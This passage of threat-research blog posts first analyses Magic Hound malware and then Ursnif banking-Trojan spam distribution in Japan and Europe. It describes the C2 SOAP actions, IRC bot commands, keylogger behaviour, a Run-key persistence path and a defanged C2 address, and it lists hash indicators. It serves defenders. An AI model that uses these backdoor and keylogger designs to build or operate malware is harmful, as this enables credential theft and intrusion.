As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request. All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests. Instead, we will refer to the specific SOAP action (see "SOAPAction" field in previous example, specifically "SetLog2") that the Trojan requests from the C2 server and the response from the C2 server. After sending the C2 the system information, the malware then issues a second request for "GetHasAnything", which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install.

If the C2 server provides any response to the "GetHasAnything" request, it then calls the "GetIdAbOne" SOAP method to obtain what we believe is a unique identifier for the system that the Trojan will use for further interaction with the C2. After receiving this variable, the Trojan calls the "GetNameAbById" to obtain a base64 string that will be the filename written in a newly created "c:\temp" (decoded from "YzpcdGVtcFw=") folder. The Trojan will then call "GetAbById",  which the C2 will provide a base64 string for the contents for the file to write to c:\temp. After obtaining the unique ID from the C2 server, the Trojan calls the "SetAbStatById" method to notify the C2 server of its status of "1" to notify the server it had successfully received the filename and file data.

With the file written to the system, the Trojan calls the "GetishideAbById" SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window. This request is followed by a call to "GetisrunasAbById" to determine if the Trojan should use "runas" to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click.

Unfortunately, we were unable to obtain a secondary payload from an active C2 server.

MAGICHOUND.LEASH

The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. This tool was discovered when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications. The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a channel using the following IRC commands:

USER AS_a # # :des
NICK Conroy
JOIN :#kalk

Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. The following commands are available:

Command SubCommand Description
VER Generates the following IRC client command that will be sent to the C2 server:

 

PRIVMSG <username> :    8 LED= 20160124
KILL Trojan disconnects from the IRC server and terminates itself
RESET Trojan disconnects from the IRC server and runs the executable again
OS Obtains the Windows version and responds to the C2 with the following message "PRIVMSG <username> :<one of the following version strings>":

 

Windows NT

Windows 95

Windows 98

Windows ME

Windows 2003

Windows XP

Windows 7

Windows Vista

Unkown os info
!SH EXEC Not supported
MD Creates a specified directory. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "dir is maked." if successful or "dir is not maked" if unsuccessful.
MKDIR Same as MD subcommand.
RD Removes a specified directory. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "dir is removed." if successful or "dir is not removed." if unsuccessful.
DEL Deletes a specified file. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "file is deleted." if successful or "file is not deleted." if unsuccessful.
COPY Not supported.
MOVE Not supported.
REN Renames a specified file. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "file is renamed." if successful or "file is not renamed." if unsuccessful.
DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices.
EXE Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server.
!DWN Downloads a file from a specified URL. Responds to the IRC server via PRIVMSG with “Download  Success :FilePath=<path to downloaded file>” or “Download Fail” if unsuccessful.
!CMD Trojan executes a command prompt command. The Trojan will save the output of the command to %TEMP%\win<random number>.txt and send the contents to the C2 server or "The length of Cmd result file is ziro!" if the command was unsuccessful.
SA Generates the following IRC client command that will be sent to the C2 server:
PRIVMSG <username> : Hello ,my name is  <IRC USER name>, Im ready my Computer Name is:<computer name>

 

All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with "AS_" or "AF_". This suggests that the adversary’s IRC nickname would need to have these prefixes to control the systems infected with this Trojan. The adversary could have used this name requirement as an added measure to make sure other individuals did not join the IRC server and begin interacting with compromised systems.

24a 24b 24c

25a 25b 25c

26a 26b 26c

27a 27b

MPKBot

We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on as a C2 server instead. This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them.

From a behaviorial standpoint, both the IRC and custom protocol version of MPK save "tmp.vbs" and "tmp1.vbs" to the %TEMP% folder (both differed slightly but used the same variable names within the script) in order to copy the Trojan to its final location and to execute it. Both variants need to be executed with the command line argument "[2]" to avoid continually attempting to copy and execute the Trojan using the “tmp.vbs” and “tmp1.vbs” files. The two variants of MPK share the same registry key that the Trojan uses to automatically run each time the system starts, specifically:

[HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer

Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file. The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at “%temp%\Save.tmp”. The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain:

"Gmail -"
"Yahoo - login"
"Sign In -"
“Outlook.com -"

MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format:

/////////////
Mail Find <email address>
///////////

If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the "Save.tmp" file in the following format:

+++++++++++++
Window= <window title>
+++++++++++++

The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used. The IRC variant creates a mutex named “mpk1” and attempts to connect to an IRC server at 45.58.37[.]142:6667. The MPK bot generates a random lowercase name and uses it to log into the IRC server. It then sends the following IRC commands:

NICK bxphzrjbxp
USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp

To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects:

Welcome to the MpkNet IRC Network

The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick "mpk". After connecting to the IRC server, the MPK bot sends custom ping messages and provides an introduction via a “!Hello” message that contains the current logged in user of the infected host, if the user has administrator privileges, the hostname, the UUID of the system, and operating system version. Figure 7 shows the initial private messages sent from the MPK bot to the “mpk” account on the C2 server.

fig7

Figure 7 Initial private messages sent from MPK to the IRC C2 server

The commands available within the MPK IRC bot are called via a jump table, rather than a switch statement used in the custom protocol variant of MPK. The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system.

Command Description
!Dir Lists the contents of a specified directory
!Drives Enumerates the storage drives attached to the system and their respective type.
!DeleteFile Deletes a specified file
!NickChange Changes the nickname that the Trojan uses to log into the C2 IRC server. Writes it to "nick435.tmp" for subsequent logins.
!ProcessList List running processes, including their PID, parent PID, executable name and priority
!SendFileToServer Uploads a specified file to the C2 server
!CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server.
!Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version.
!ProcessKill Terminates a process based on PID
!RenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server.
!GetFileOfServer Writes a file from the C2 server to a specified file
!ExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2.
!ExeCuteFile Executes a specified file using ShellExecuteA
!DeleteFileFolder Deletes a file or a folder
!SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server
!DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system

Table 2 Commands available within MPK IRC Bot

 

Banking Trojans: Ursnif Global Distribution Networks Identified

Posted on by Kaoru Hayashi

The infamous banking Trojan Ursnif (a.k.a Gozi) has been continuously used in attacks against Japan for more than a year. The main delivery technique used is spam email with a malicious attachment that downloads the Ursnif executable from a remote site.

The Tokyo Metropolitan Police Department and Japan Cybercrime Control Center have recently been issuing public warnings of these malicious email activities.  In our analysis we identified distribution networks that are used to target various countries, including Japan and several European nations, with banking Trojans. The network consists of two primary components: a spam botnet which delivers e-mails, and a set of compromised web servers.

Specifically:

  • The spam botnet focuses on delivering Banking Trojans or Downloader Trojans to Japan, Italy, Spain, Poland, Australia, and Germany.
  • Compromised web servers host Banking Trojans and spam bot files that are download by malicious downloader program distributed by spam.

Analysis of Ursnif infection vector in Japan

Using our threat intelligence platform AutoFocus, Palo Alto Networks observed millions of e-mails sent to Japanese targets throughout 2016. Most of the emails were written in Japanese (see example in Figure 1). The latest attachment we’ve seen, detected in January 2017, is a JavaScript downloader that simply downloads Ursnif from a remote site and executes it on compromised machine.

picture1

Figure 1 Japanese email with malicious attachment

Shiotob (a.k.a Bebloh or URLZone) was the most widely distributed threat in this attack campaign last year. We identified 75 unique Shiotob variants in 7 million spam emails. Interestingly, Shiotob itself can steal online bank credentials, but the adversary used it only for downloading main payloads at least since mid-2016. Figure 2 shows the infection steps.

picture2

Figure 2 Infection steps

  1. Victim receives the malicious e-mail and opens the attachment, infecting victim’s system with Shiotob.
  2. Shiotob starts communicating C2 server over HTTPS and receiving commands periodically.
  3. Shiotob installs additional threats (like Ursnif) based on the commands from the C2 server

picture3

Figure 3 Download commands from C2

Figure 3 is the example of commands from Shiotob C2 server. You can see the C2 provided three “>LD” commands in a session. This is the download command installing a remote file on the compromised systems. Two of them are same Ursnif binary from different locations. The other is notorious spam bot called Pushdo (a.k.a Cutwail or Pandex) on another server. Once infected, the threat sends spam emails based on commands from botnet master.

Spam Activity

Unit 42 observed millions of spam emails attacking Japanese recipients, some of whom could be running the banking Trojan and spam bot simultaneously. Though it is difficult to know the exact numbers of infections by the email campaign, we know the number is significant considering an increase in Japan-based IP addresses as a source of emails with malicious attachment (Figure 4). We consider this a result of increasing spam bot infections by this attacker.

picture4

Figure 4 Increasing emails with malicious attachment from Japan

To understand the spam bot network activity, we randomly extracted 200 unique Japanese IP addresses that were spamming Shiotob and investigated what was sent by email. They belong to the email campaign and may have been transmitting something malicious in addition to Shiotob. The result was that the IPs sent 250 unique malware samples among 268,000 emails in 2016 (Figure 5).

picture5

Figure 5 Malware sent by 200 Japanese IP addresses

Most of the malware files are classified as either Banking Trojans or Downloader Trojans. Also, some downloaders were installing Banking Trojans listed above. The botnet apparently focused on delivering Banking Trojans through spam.

Based on our telemetry, Italy, Japan, Spain, Poland and Germany were top target countries by the samples. The attackers customized the delivery e-mails depending on the target and used a localized email subject and body to lure people who speak the language. Some words and topics are frequently observed in their spam emails among all languages (Table 1).

Target Australia Italy Japan Spain Poland Germany
Banking Trojans Ursnif
Shiotob		 KINS
Ursnif		 Shiotob
Ursnif		 Ursnif
Tinba		 Ursnif
Tinba		 Ursnif
KINS
Frequent word in Emails Photo Foto 写真 Foto Zdjęcie Foto
Order D'ordine 注文 Orden Oferta Bestellung
Invoice Fattura 請求 Factura Faktura Rechnung
Notification Notifica お知らせ Notificación Powiadomienie Versandbenachrichtigung
Delivery Recapito 配達 Entregar Dostawa

Table 1 Targets and Email characteristics

Malware hosting servers

Next, we started searching malware-hosting web servers accessing by the threat in spam. We soon realized the threat actor(s) make their infrastructure redundant by copying threat files on multiple servers. For example, they put a malicious file on both server A and B, and another file on server B and C (Figure 4).

picture6

Figure 6 Malware redundancy

By following the link to servers and malicious files, we found more than 200 malicious files on 74 servers that have been used since April 2015 to January 2017 by the threat actor(s). Most of them were compromised personal or small-to-medium-sized business websites located in  Europe. They host outdated contents and owners seem to have not maintained the servers for years. Figure 7 shows the geographic locations of the web servers.

picture7

Figure 7 Geographical location of the web servers

Figure 8 shows the breakdown of malware found on the web servers and where the malware downloaded from based on our telemetry (Table 2). The results correspond to the analysis of targets and malware by SPAM in the previous section.

picture8

Figure 8 Malware on Web Servers

Malware Downloading countries
Ursnif Japan, Italy, Spain
KINS Italy
Rovnix Japan
Shiotob Australia,
Zeus Italy
Pushdo Japan, Italy

Table 2 Malware family found on Web servers

A full graph of relations between servers and malicious files is below (Figure 9).

picture9

Figure 9 Relations between servers and malicious files

Conclusion

The actors deploying these banking Trojans use a spam bot network and compromised web servers. It is still unclear whether a single group attacks multiple countries with various threats by using the infrastructures, or if numerous threat actors share them.

Palo Alto Networks customers are protected against this threat in the following ways:

  • All samples are appropriately marked malicious in WildFire.
  • Malware families are tagged in AutoFocus using a variety of tags, including Ursnif, KINS, Shiotob, Pushdo, Tinba and Andromeda

Indicators

Ursnif

3af18232a9175dea624a7947e6edef6a57457bdf6d3ba0ead58856a139db2832

5feeee23ecd310ed552b56c1992d5e7f6dbf4e656224a9f3073b83770768e994

c7a2bc376d6ddfc678e7c7b3324b021edf19c896a80ab1ec7c2f36bc004ef29e

1cef688950b9ca01bea0ec9883ab25cebae3db169ff4fb034696868918889f93

26a3f192fab07bb2bffa66f028d793f4a5ca851672430d778b537c4dde800d9c

7f0359314eb3577075367df11699cafd8a5f6c36da0e58890acebbce4144eb05

c5a98f873734fc144f8128c147318599ba993cb0ac103437b37c26774eb51a62

53362b6ec2f87d3044116c955094314d82f340ebc1d8b395513e2be4db3e32a6

b5b222a05156ea8b3c47a1a5da567d191cc8e7a546f2b0edab08a5956ad73ade

eff9abfd254271f46d9fba0064a890ef3b0236434938e1ba42bd29fd0f8f60d1

69292e69d48a5151d47aabd30f3056166032ef9f53e877f09bbd69053b7f4b37

3f3bdb38e4878331de5e867a2606bd9cb9c351303af53194d72f8dc2ddd04a97

88cbc2fdaf4b0f7c0ea6104d2f6c942b915fad5486db2567e94342e76f943a4e

31055c7167c369313262fb0fb2bf1ac1db895d04067ed505732ccd3d5ef43b29

fde59700c02a58752cd28d6adb0389a5d69657f6f6925a0bd8ba35a1f724de5c

54162c5399a945f16080d0d8b44cceca3176ecc8e03d03e5aa2295498b7c0cf7

111dd5576fd9c9108a801eded1ab93d21583c84cdfb86ea81fea14ae2ed8ed40

3fd65bd55e4dadbf079c6a533941135b0ddf217dea16eec6ebc33f2098ea6276

55acc2455ba3bef79840ead843cf29af239e7384f7d62246fe93fe427ed99587

530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d

a778cdaf3d360f5d06be9846bc4ab74d679324bf0e9b03616000367dc27c3f0e

e331b749c3f5896adb5a271ea2a4a037e811344162cd574b11892a18a85c1722

cb57b3c5ec62a83b3096bd2d737cad83119d19939d76b483d0429fd26d492ef4

602353156303f7fd02b33d1912f8ee93bf324f5c4fb993993137bd13abfa9a9d

b03333b35266db0faf6fc407b36efc2f9f8a574921cf87f4a5fb60a13cbcdb14

f6805cd59dfe012afd50a6bd3ccded29432d444a73016755ee1b217b13b59fb8

93e2bff638a61503780fb7cb90d85b6f5cb027c8ff732f495a6d13734a5741b1

e9b0adc36455c221a680336ee6ec59320b618c6352621c5d721811e122f83747

c45b8444e8551666ddd4e13445e3a196039b9065e64ba7102d16067f40e0f412

4948be38b1d66191e5f201b88c920ebd4ac7450fb6eaadaf6215b64cd0af6f30

08a5a1c0b53592a8f0890447d71bcec5380f104a176277512ee52c063188e151

cbbfa84227d82360d79baf8ab4ee0f9a13d0fa7128eac72c0bd627d4dbbb06f9

3044a4b0cffdeaeeab425109e8cddc597e708f5025849b5d29bff35ce24f4e42

3656e5ced322c9aabb78983c2a40657c83ba7805320423e66b402cd20cdd57eb

28150a3e9f8d23c784923e9664086ad18aae71ef83e4a60ebfb1fd8bd5abbd80

f30838a6b53a892ae4e5231de1d2f74a2e51919a66e9e60da3de125c9bd1a521

c2adf4031508ade44343097904c63300c4bfbaa8727fce120a11b09da9bc0be0

596c2b8306493ba51bc0ca116a0508d3c1f47389e6fc9a2b313748f4fa3014bc

afa53aa70e484a3d35c1e8a1a50c96f9186f48c7aa10888b5c42b648fa5bfbfb

1f8da66ce073a08f45f724bfa31ffe2b266ada3847186018af8d381ffeaf1dac

5477e90ff3755d2807951850964a881b60158ae1f911ef2ffb4bdef32a4d62e9

4f846222f454c773b3db1a467155e388672e20b6edacc6406a75dbf09432108c

7c8e9eb4a6b3d59d02faab21b94664ed473c346731cc28c0036c2c3e14db581c

9405198e358c330918ad6c0965e4dd748663c8a8c564e37d54c8e13f01fe6536

904344a1193a0910153f034f6ec7c17feab572392454afb6a8dfd15dd4a38c19

b7bf333f959bb6b6aaaa53a724b5f9b02ea774ba4d093e14052c45fe83e8f02b

dcf99c3378de03489a62b131580c1e2fd9df1187ac25912cc6cd856cfe661037

555dd50c95045d2bbeae895286a00789089e6a86845975041d11879e7e8fbd37

6bbc47fd039bce4c7a6a163dd6ff380fdda9fd27d552fa8c66be20e3fabf6cd3

1f739f3f90382fb729401085388e2142d12fac724684c5b3dcf367b645781695

 

Shiotob

0733779b99ccced9808136088e08bed6518097fd892c51c150a5d7e99b755562

124e6d6d3da321ad04e7f3aa9ae1b29fea2f382e8903a72ce48091cce47127ce

164eab81c9ef0b14b4f93f7f5b60b0111d9eb3de3131c35f2f388837e0309b9e

194e6644ea8c81e8e6073434f5305c48fbd22dcbfe7d911ad36a314bf61ce301

1af5467950d5e171827936d522ae7fc47d7e92cb639d83a6d1b1e6170568987c

1ede3e09794eb4fbb5a9a67702aeca7495d7b9d12b47dc4493d5f645fa04279d

2209aa1f8719cc1f1bec10c0e2c611fff44107c54754b63af8bce748a9c2ba11

22fe4de964db8874728d54c8327f0763383b56bb838983ac2d0ad16f9a9f0296

24af6a68330743f0ba7e152d426f16768a915d619e807b56a4b7944c780fe46d

24d6ff074c68060d5bfd31c2a8784fc58033d865110f01778b6f43fb71d1be82

25e49603ccd58159180e10cc9df9944845870d3bd6dbaa2ce2a5ad16d5d224b8

2b7c4c4370000b258932ffe871e3cd9ec613c223ea129fd164d32070544ee53f

2d43697cacccfa10ac4fe3119a86bcc1113925f04d7b95e3297ace3ee1dbcb75

2edfc720a92bcdd2d42416ed6bb79ce84eec28a8316cb6160527627779c6b4db

317bfbe3107ac085d1751e04202b99e2ce8a75285e5033b789de34457c7ae7a7

347430676e7811c4433d4d10d7ff5695dd34083d9f37a32f5130e29263f3cb72

3a5020bbd52ef368d98f51a9caca2b266f0f5ec7719e8159e32dd08ad80e60c4

3a59673578576a0d1551c120f612217aa3ab1a511bb6eba03908ba3aa2719bf8

3b6a2050bfd395756237a48e39007279a0ed80cb1e1cec05bbe77f813befb002

3e325fe43a78054dad21049abc7ea56510959eb2da5a1e21dae3fe168106cade

4039ab72bce95e0ec30092a12a7d6d4f8509d5a6bc05fc8e6463c9a262060434

40a8deaeb8902947c6ba98ce0af62a6a487c3afcaf6e96dcda2fb27e6af9c122

4b64a23de0d09e2f9daeef283d4582bf04b416b465c1c6863b7698eb82b56c4e

4ee9a7fd63daab6d756193756c3a63b2bcc3a2c04397c6126b9c6f3b1ada0b5c

504d71d3e1ddf4487033d6c8a5840c7eccc5babcd7f23a5587eaa07aa61ea148

5914a658c65237b9e9516313c39efffd646b6e9573315a6353375863c1d5b6e5

5a41e1429c92d6cf63df37ef37f4d8b5ebcf51b6c002b118ea4edee5bca4669b

5b7e4c2df278c2bc9cc2dfa736227e28fdc3787173f4c5fcd30e0004ec06bdcb

5f2c52c65412800f0fa9d92c99a28196be265b8cded2d0c4699ecdf960acf2ef

60322c5ca2e234bcd7124c86e46f645d7aad2b5595038bc8343ac5324c482607

606708c9479e1df26545d469d3d54a0e268f01ad8aa061f6504968c3b1594a0c

60e0f5deef23f463180ea830bb9f237a4f542cd73c1bb2c52912ccb594fc0e08

67e0e3d8c9152ff41865fb9bf4deaf3a6a16939c7c6eb2b0ada9b3395594e45e

70b055c547b0d3f5a0b51ef1fe25abbff77f468cd3265da9b669fbd82e32fe56

77641a32ba820581a8abebcea6616570c4a8e290dfbf63a74577dc8355678160

77980048740f4b60b50bd1a2e4b1c2b1389b5bf66ad2e737591a68fa4172b456

78af5ca8fb40b44a8c0678c85df7d014c72758388345c36aa429aab66f0b2385

7cef6a7410d9d16d7981108a5c0320fdcc93d23dcbe6c35174ca5de061fd83e7

82c59dbb167a40cdfaab000c562ef97e3dc8fca7bb82a837790fc2cab36586b8

869ed7fdf1838b065b26e2700adfd95b6d3fe9f28cb5c41a839802cdd6b065cb

8bf6825e1ab1a6b09fe9cc2eae461d80b431309887b5c5fe14ed299c1a2f44c3

90510218184f3c92a14a04476aa1b8b7a00e6d98504fa13efe96ce19ba0e531a

94fd3688cbe6a0c732321ff7d6841e709d5530ecfc562343bc123637504f852b

957fd7a14616587ffedabe246bc397bba7e53ef4b02e805473ba6a2a6f68dc55

95fdb4474227c938f83b02005b90e8b3cb9103cc6c9b7472020eb09af5f00dab

9cd895dbaac82328557e290217c558053703f6374284243a2ba17ef69e4cfba3

9e416802a31ee6a61074dee670fe3a4f9f9897eb9327cff79e0721cab066f353

9eaa00aa6ca9122a1c7cbeeb3ef2ac0caa52794b85cdf811b0436aba70097528

a37d84e6c6fe7b4f426f28b0379dba9e3045ac083d46a95f8378c3c98d7ca9e2

a91cc0ef59dee1229644bd70f7744bd94d2af6dae19a1cbae685ed06fce707ea

abb6fe1515e8d0f9d7b23965a35db4a863f92daafa46942d1d42662f9937b99a

af0f00906d833b09adac0caa7028e9691c4090ef041d7cf62a80e8b7b10962e6

aff8f8711ca8eed648080884ff84c4dbe62d0ad401af6379def639b90098e802

b06746ed57ebeaf64c58217adafad28b9d2445c2d1cbeb67fa7a17a4be9a6328

b0752f8ae7d2a4922f018c8f02fd0e20d7674eadf94374734b75e64084af1d84

b098d0fcadab456a28db6cc7cfa9955e1d5c3fb88f9e457121a01af4a3169ec4

ba264b6fd7795fdea336364082491c7aba457cbf2edabf6c44df0562e34810ba

c670d4f30fb06df997adb263c753e21b2a6e2ebdad8ac436c24d4ddf44dc9924

c9e2d4881b2f8ce1d5503f56815541a90d1c0c7dc008b4e9b8456f05b377381a

cc2b53c035e575343bb5436e65b9b15d9fb8782637642c0b4c2ad87c314687b5

cfe49c0ce561b7834275f7f2d9f0cb8977025a095ab25d08c6c36c75863ddcc9

d3e34102a27677946131161ad3d3dce57f15b9b53bd0a1929bc226909b4ceea0

d5850ed32b01a10d2e6aa4a3997ae8f35cb3c595fde75929d61ecd13fab2455c

d906da427d56262f0ab04684edc1ca843618ad8033d063fd249ddd887981488e

dbe42c50bfa0dd6fe0b236fe5371bc294f43d48bbf1243d4f3b2a98041f0d3ab

e0bdde6336208df8807c299ef8157ec7fd9e777dfd1cc1d49534c19e1a44f811

e5114ab13097dff71d3f33dc5b9a9c4fb0206137babf41dde7c4ca614362098c

e51477fe6b9bf8d73b37825cf4033f34e634ea59e672fed823c4f0850e5dce54

ece07fc91c99bb3ea3ffdfaadb51e38679cba43287413ea95c8a47d157fcd488

f3e6cacf2a4fa6fa15596416263a0087ec0194db746081a08360cc69beec2f31

fb0f5ff4760f6869a63fc6ed01d19241d83919b88f70343473cb6af014fa8954

fc00bf8cc177e561cfa89a8d48fbc9a3d7bd57d3da33c56c401fd9c2437600ff

fcb208a9d8ad4c6ade0798410c3620bb3d57613efd1c01d35bd5b3b42c90db9b

fe9b87d98cb1e708ea6df4052677f2ea651f3c14f2a7c6d6aca9f4b905cbbdfa

fed5de3f9dbc37cf404e3a530d3358e6c1fbaf1a7d4833d19184b492a6f0da6b

 

KINS

786e347d5de0b2461049964b382ec2d93db62ad2541519c2f1be423fbde3e632

0f300996a5d57c43b90bf97f158fed23709284b1fe4bbcabc6b843538f4fe961

ea05b0aff29ff657a578eed301f79a2ae7a469cda10030151426eff85b2390ea

840d7f349f02bea4467b5a8f3cf7f3f4f43c6cc9452b01e75d2ee795c25f96ba

2392a69e522bd0a37e114ec53ef6c4e48aa6b8c5aa61b6a8ee7ed05d9e941014

a5c4fc9bcbdf145a880a80d0ec28d874d646100dda4f9a571b011d31c78d6b05

a12ba2482f7fc7f8e514c0f1e630d66357ddce32893873b3ebf8bc2c79e6aa2d

7c384f0d01cf765e2f90eb52bfc7e2c832d59c328809b5a9436050dfc6017b52

569e01c714f94d09cf379f9f21bf67a84b943b97df020493767aef3efd4a8aa4

b0924478d914647bc30460d7b0c5cd3aef79fff04a26a6fdc10728ba8bcd9418

fc38901913dad80cf32b2ffd124ffd850ee913295df4b1cc861589445527ffd7

162bfe3f8513c03d94908d04858974a3b27ad903ed263183b28a2230b8357e19

85a80a5706149c0be9f6ce1c6d23fdc405b992c2b7a2665da6b72ab213de9342

460acfc0a1eb8d7b1dac420d4500c386817706aa234997d7cb6df3ca869a9242

cf2eb541c0a546970ea3a3baf96dfd6be4515c54f5a220a57f049af137d418d5

f3bf1e6cfd4a21f6f6907833bfbd9d44a9499eea4e27c0e4415f7e3975fa559f

bd6b9940e87be866fd8cb893769c51a3e4266452f97270a97bc13685b420d308

62c32639b102a684d7aa8e1f04db7018d7107da0a3956904967f9fa79b021239

e00385bdda02b8cf7ddef4f4bff8301846a7f723a6b56a7f8151d5c7c978f502

c70ea6ec20ba7368009b46264102faba72aae16185f17b5bfc852f5d45bb7884

c98c731e7f38471cbe178eb117a25bda56c1cc8752419470f202c6aeaa5c1ad1

61a65f91952a71ef119b5a54012b4a48521d739a3afc881fe33276e733e421b6

1627e0c5c72d36738b6c94439a4d7d3d8a1202b4c8bc9f5c8f5b41a5c0216407

418863a96acfb5c4dcf6da12b6c2d44a29fbfc18e1ed78b26ae2070df9b48018

1b74f2bd5aa6dc07ab8014d3a59e192ad5a8020f9b71db4492f4c141fec64d58

6e66090be9481caff2cf24ccc4b6cb688f4a94a6ad0c51ae8fa9eb69c2f6baf2

4778c2771aee8926ffbf8d289c0792e16afbd838e599190af212b14cd8277784

4a013d43c58d55190b022c306344ff894210975181452085d058901444108eb8

b368428fd71a354d9e6a707b573c4b4a8131034efc0c4669b683ac7c486920b0

40791e4bb3d98c3154e85b6d463aa4b1be51857b298db3336d61d17a2220164a

c7c0e80232ed3dca0aa7e169560b5ec80d238550e6e536840a82ff3ae6457647

0021c6127bc6941a9b46d68e292b8de1a11d97ef3d19be168d3a77672feaa079

a6424a031483ba52aa444a0100e7332b6cdc1688bb31288a703e16c22851ae2e

b4be93cd20a86b77b43fac886182b1bc6c453ab63cb2851f259f10cd19e96035

e9e009edc5d1f4eb605483a107a2231743bbc3de071850cb00d31a9e878420e0

8edc01e7d5310780b21ece7a93287fbbd8ad50f5dbcb1c73079cd72706d01225

f221dd7f8f0c548dacf48fe2f51cfb853ea6434fefb7df3ea8ed9be3e3ae7d63

2456ccca16ef6470daded775c6b4a9236c979f762f921a6eb9efa5a87989daef

aa7d3ea85a3f57eb372d067c153d17137482e7e72de0fd943facf6db9d67af00

6bf91c779c5bad7d30051f12958464f183e6c0b9c3ed70b2e342828e166a3dd3

ddb71312f01fcaabdad15b8ed5fafc74114c6dffdb765c42cb5973001828090f

ee0395c2d4767f949989b6f5c97a8739e7fd90a2c064b997b1dcee34093db0ca

cf715fbd04bde7580c1f2fd38f5df56977cb9f39f06fe92a5e0b5426738eaa08

6c71f6103815004964aafbaa83ea9e33a8700f9d07d736e9a54d1cf1ec673612

f21872a03fcb62dbac5cd7ea2c92db4595f4a55906d7a91ffa6ce5cae2b84e91

cc6e90286ed80e36fad1899fd0c5fd8f9fd849235378b5a0a7afb1df6bf5c9de

57c6eccd40b32c73a0453a3df14ecabe4b5e21ed780f8c158232bfa43adcbd38

7cf2efec6a788c4a51cf32045bef1e1bf000bc51cff7b4158f5bff7c1a71c9ab

a536344cd162eaf8d45a0065fdfaa5aa10a302c8c10b3da4ef190f2e3207d583

7e2e0d6da8d4ff8db10a4c6859a79d87be4f0f1e488460ab134a2e11a24e2138

3864227ce59e0ddb9ded29ab35c33b550cdbb74a75ce125bcd4ce71e233a9745

02112837d7e28a074f8c265ed37ad7c2e1bc36d629ec9a2f1ba7bb83d614f342

0b40ea3ac6c5c4518bad068dd0478e4a76d202a1475bdaaabf6a81eeb36f5b66

e7642802bf90c9186d3ed93d946658e60b9708cba3286f5752b42ddd9c4e5c51

e28b8acd4028cd4a72449519f73a5abc9a0f1b742f01cb385b3737d5847e59e2

7a47eb663b35d6ffd47cba9cd5275208df638a17c084c99121ad7c3231bd15b3

019917abb1be811655303e4cc514d3abaa66b58d3455c5a4084bc6f2fe1dc2b0

f22eefafad27b61716d96cc54ef8c2e332c71b30e50bbc1c9cc0f15396c1e112

948597902acdbc6ee8fd6499bd8b8b7c1c940019d5fea4ce7e88dd388ec939d8

2a275c3f37280158309d67a86054516a8bba7a5cb364d51b3552996c2b6040e8

9e7036ae2f3f513a42a1201dfeaa607568eeda9b43ef4212e9d68cddead53eab

6beb5b396d26991feb16eeeb4ee8ced22e965607be056528f6fdee535134e7b7

93dcb90a22744e8b3c5ab3a4974cc9b72f6198189f3a42bb12417e775d0ad718

5a37dd804f4add6b2e75c366438181fafed4ab979cb694f6aa1e7ff77c1225e0

025f9924f04ff1b4b0953ef07ba9d60ce970c2fd9e887269caa72db3a9bba814

27236ebd9a399d394e83dccd4c267ca0213ed431e06b7cdd132274f402831d21

8fc39e6e868bbae45328e24a953f4974a22106c84c7c0fd713999687be774b22

d486d824d857a1dc294e6cfed2dc0c58514226125e4995cdcd04a8f8d9051f25

6ade6e7226c35f958bade2e81c6dfe8e4d083beba2a1a3fea6f5d7a7fc1051a9

912c59051f858c78194d30f08a337479db002e073c24d69cc9d23aabd662a3c9

04f5d3d96405b47c51aab8d8d0ad4b849c7b62e8869b8ce145de4528f73b4232

22c426e765df18cbaa92f42ad4d5b48dbbc78f9ed0ae6fe2881517814703027e

9937646b9aa37b3256eac7f4ac464e414ca4a4bc12fd6a1091001e7855f36e3d

43a90192ba12ab92ea567f2156bd53554d72cac7be15034e04c89d82e66500a2

5005f9bac9f0df698041221ee6abdca062d4fae39f0a0f04544d005e307b466d

326bd07373dc878054bef86dc7030eaecc51f0878fe4ccf43ecea7f60f6cf890

